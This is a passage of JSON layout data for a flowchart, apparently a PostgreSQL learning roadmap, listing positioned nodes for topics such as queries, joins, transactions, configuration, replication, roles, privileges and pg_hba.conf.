true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"KMdF9efNGULualk5o1W0_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 219.238410041698,\n        \"y\": 463.27717232299847\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"For Schemas\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 148,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 148\n      },\n      \"positionAbsolute\": {\n        \"x\": 219.238410041698,\n        \"y\": 463.27717232299847\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 148,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ga8ZiuPc42XvZ3-iVh8T1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 220.238410041698,\n        \"y\": 516.2771723229985\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ForTables\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 147\n      },\n      \"positionAbsolute\": {\n        \"x\": 220.238410041698,\n        \"y\": 516.2771723229985\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fvEgtFP7xvkq_D4hYw3gz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 220.238410041698,\n        \"y\": 569.2771723229985\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 147\n      },\n      \"positionAbsolute\": {\n        \"x\": 220.238410041698,\n        \"y\": 569.2771723229985\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FeqeChgV-XTMJD4slWfni\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 384.738410041698,\n        \"y\": 420.77717232299847\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DML Queries\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"h0v46Glkt60lHmdq5B5mY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 36,\n      \"style\": {\n        \"width\": 147,\n        \"height\": 36\n      },\n      \"positionAbsolute\": {\n        \"x\": 384.738410041698,\n        \"y\": 420.77717232299847\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"BEJyz0ohCglDucxfyuAy4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 373.238410041698,\n        \"y\": 462.27717232299847\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Querying Data\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KMdF9efNGULualk5o1W0_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 166,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 166\n      },\n      \"positionAbsolute\": {\n        \"x\": 373.238410041698,\n        \"y\": 462.27717232299847\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dd2lTNsNzYdfB7rRFMNmC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 373.238410041698,\n        \"y\": 515.2771723229985\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Filtering Data\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ga8ZiuPc42XvZ3-iVh8T1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 166,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 166\n      },\n      \"positionAbsolute\": {\n        \"x\": 373.238410041698,\n        \"y\": 515.2771723229985\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"G2NKhjlZqAY9l32H0LPNQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 373.238410041698,\n        \"y\": 569.2771723229985\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Modifying Data\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"umNNMpJh4Al1dEpT6YkrA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 166,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 166\n      },\n      \"positionAbsolute\": {\n        \"x\": 373.238410041698,\n        \"y\": 569.2771723229985\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Hura0LImG9pyPxaEIDo3X\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 373.238410041698,\n        \"y\": 623.2771723229985\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Joining Tables\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"umNNMpJh4Al1dEpT6YkrA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 166,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 166\n      },\n      \"positionAbsolute\": {\n        \"x\": 373.238410041698,\n        \"y\": 623.2771723229985\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"umNNMpJh4Al1dEpT6YkrA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 221.738410041698,\n        \"y\": 690.2771723229985\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Import / Export Using `COPY`\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"fvEgtFP7xvkq_D4hYw3gz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 320,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 320\n      },\n      \"positionAbsolute\": {\n        \"x\": 221.738410041698,\n        \"y\": 690.2771723229985\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 320,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ghgyAXJ72dZmF2JpDvu9U\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 221.738410041698,\n        \"y\": 798.2771723229987\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Transactions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_wTgE6bRG5FsjKSnR3UdQ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 148,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 148,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 221.738410041698,\n        \"y\": 798.2771723229987\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 148,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_Y-omKcWZOxto-xJka7su\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 221.738410041698,\n        \"y\": 851.2771723229987\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Subqueries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 147,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 221.738410041698,\n        \"y\": 851.2771723229987\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uwd_CaeHQQ3ZWojbmtbPh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 221.738410041698,\n        \"y\": 904.2771723229986\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Grouping\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 146,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 221.738410041698,\n        \"y\": 904.2771723229986\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fsZvmH210bC_3dBD_X8-z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 373.238410041698,\n        \"y\": 797.2771723229987\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CTE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 166,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 166,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 373.238410041698,\n        \"y\": 797.2771723229987\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fTsoMSLcXU1mgd5-vekbT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 373.238410041698,\n        \"y\": 850.2771723229987\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Lateral Join\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 166,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 166,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 373.238410041698,\n        \"y\": 850.2771723229987\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kOwhnSZBwIhIbIsoAXQ50\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 373.238410041698,\n        \"y\": 903.2771723229986\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Set Operations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 166,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 373.238410041698,\n        \"y\": 903.2771723229986\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 166,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JA4Ltc-6oE7kqbP5TvQGO\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 312.738410041698,\n        \"y\": 754.2771723229984\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Advanced Topics\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 312.738410041698,\n        \"y\": 754.2771723229984\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"T819BZ-CZgUX_BY7Gna0J\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -169.8711635383321,\n        \"y\": 727.4140718147354\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Configuring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VjQ71xorBoxxDn-wSmUjm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -169.8711635383321,\n        \"y\": 727.4140718147354\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yl3gxfQs4nOE0N7uGqR0d\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -509.08230823147517,\n        \"y\": 894.037958500518\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Resource Usage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VAf9VzPx70hUf4H6i3Z2t\"\n      },\n      \"zIndex\": 999,\n      \"width\": 306,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 306,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -509.08230823147517,\n        \"y\": 894.037958500518\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 306,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9VmQ-vN3nPyf1pTFIcj40\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -509.08230823147517,\n        \"y\": 947.037958500518\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Write-ahead Log\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 306,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 306,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -509.08230823147517,\n        \"y\": 947.037958500518\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 306,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zoaqBP0Jbf0HpTH8Q3LkJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -509.08230823147517,\n        \"y\": 1000.037958500518\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vacuums\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 138,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 138,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -509.08230823147517,\n        \"y\": 1000.037958500518\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"A3YTrZSUxNBq77iIrNdZ4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -368.08230823147517,\n        \"y\": 1000.037958500518\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Replication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 165,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 165,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -368.08230823147517,\n        \"y\": 1000.037958500518\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 165,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hOPwVdIzesselbsI_rRxt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -509.08230823147517,\n        \"y\": 1053.037958500518\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Query Planner\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 306,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 306,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -509.08230823147517,\n        \"y\": 1053.037958500518\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 306,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3pLn1mhRnekG537ejHUYA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -509.08230823147517,\n        \"y\": 1106.037958500518\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Checkpoints / Background Writer\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 306,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 306,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -509.08230823147517,\n        \"y\": 1106.037958500518\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 306,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"507TY35b8iExakbBMrHgZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -506.9997388263719,\n        \"y\": 727.4140718147354\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Reporting Logging & Statistics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VAf9VzPx70hUf4H6i3Z2t\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -506.9997388263719,\n        \"y\": 727.4140718147354\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VAf9VzPx70hUf4H6i3Z2t\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -506.9997388263719,\n        \"y\": 780.4140718147354\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Adding Extra Extensions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -506.9997388263719,\n        \"y\": 780.4140718147354\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wnD1QnUDoGLDiryETIsKR\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -507.24744704168165,\n        \"y\": 846.0661978189876\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Following postgres.conf configuration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 32,\n      \"style\": {\n        \"width\": 303,\n        \"height\": 32\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -507.24744704168165,\n        \"y\": 846.0661978189876\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 32\n      }\n    },\n    {\n      \"id\": \"2Zg8R5gs9LMQOcOMZtoPk\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -169.8711635383321,\n        \"y\": 1126.66628957926\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Security\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VjQ71xorBoxxDn-wSmUjm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -169.8711635383321,\n        \"y\": 1126.66628957926\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"S20aJB-VuSpXYyd0-0S8c\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -48.22888579966218,\n        \"y\": 995.0419261268062\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Object Privileges\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"e\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 183,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 183,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -48.22888579966218,\n        \"y\": 995.0419261268062\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"o1WSsw-ZIaAb8JF3P0mfR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -48.22888579966218,\n        \"y\": 942.0419261268062\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Grant / Revoke\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 183,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -48.22888579966218,\n        \"y\": 942.0419261268062\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 183,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"t18XjeHP4uRyERdqhHpl5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -48.22888579966218,\n        \"y\": 889.0419261268062\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Default Privileges\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"09QX_zjCUajxUqcNZKy0x\"\n      },\n      \"zIndex\": 999,\n      \"width\": 183,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -48.22888579966218,\n        \"y\": 889.0419261268062\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 183\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"09QX_zjCUajxUqcNZKy0x\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 356.19228872227364,\n        \"y\": 1073.66628957926\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Advanced Topics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"e\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 356.19228872227364,\n        \"y\": 1073.66628957926\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 193\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bokFf6VNrLcilI9Hid386\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 356.19228872227364,\n        \"y\": 1126.66628957926\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Row-Level Security\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193\n      },\n      \"positionAbsolute\": {\n        \"x\": 356.19228872227364,\n        \"y\": 1126.66628957926\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GvpIJF-eaGELwcpWq5_3r\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 356.19228872227364,\n        \"y\": 1179.66628957926\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SELinux\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193\n      },\n      \"positionAbsolute\": {\n        \"x\": 356.19228872227364,\n        \"y\": 1179.66628957926\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gb75xOcAr-q8TcA6_l1GZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 114.22376611000715,\n        \"y\": 1073.7864148020974\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Authentication Models\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 236,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 236,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 114.22376611000715,\n        \"y\": 1073.7864148020974\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 236,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"l0lpaPy12JFCJ-RRYVSqz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 114.22376611000715,\n        \"y\": 1126.7864148020974\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Roles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 114.22376611000715,\n        \"y\": 1126.7864148020974\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Y2W29M4piaQsTn2cpyR7Q\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 219.22376611000715,\n        \"y\": 1126.7864148020974\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"pg_hba.conf\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 133,\n      \"height\": 49,\n      